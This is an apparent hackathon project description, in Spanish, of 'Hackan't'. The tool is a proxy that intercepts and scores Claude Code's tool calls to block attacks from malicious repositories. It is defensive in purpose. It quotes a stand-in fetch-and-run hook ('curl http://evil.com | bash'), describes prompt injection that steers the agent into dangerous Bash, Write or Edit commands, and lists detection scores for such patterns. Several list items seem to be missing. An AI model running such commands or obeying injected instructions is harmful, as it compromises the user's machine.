

Track: AI Security Equipo: team-13 (Buenos Aires)
Claude Code confía en los proyectos que abre. Un repo malicioso puede incluir hooks que se ejecutan automáticamente al abrir el proyecto (por ejemplo curl http://evil.com | bash), o manipular al modelo vía prompt injection para que ejecute comandos peligrosos a través de sus tools (Bash, Write, Edit). El usuario no tiene visibilidad de estos ataques hasta que ya ocurrieron.
Hackan't agrega una capa de defensa sin cambiar el flujo de trabajo del usuario:
Proxy de análisis en tiempo real — Claude Code apunta a la IP local donde corre el cliente en lugar de api.anthropic.com. El proxy intercepta cada tool call que el modelo intenta ejecutar y lo analiza antes de devolvérselo al agente.
Usuario → safe-claude.sh → escanea settings.json → backend NestJS
│
Claude Code ←── proxy ──────────┘
│ ↑
└── tool_use ──┘ (analiza antes de ejecutar)
El backend corre dos analizadores en paralelo:
curl | bash (score 90) hasta procesos en background persistentes (score 60).ruleScore × 0.7 + llmScore × 0.3.Los veredictos son:
safe-claude.sh + install.sh)./install.sh # detecta zsh/bash y agrega el alias automáticamente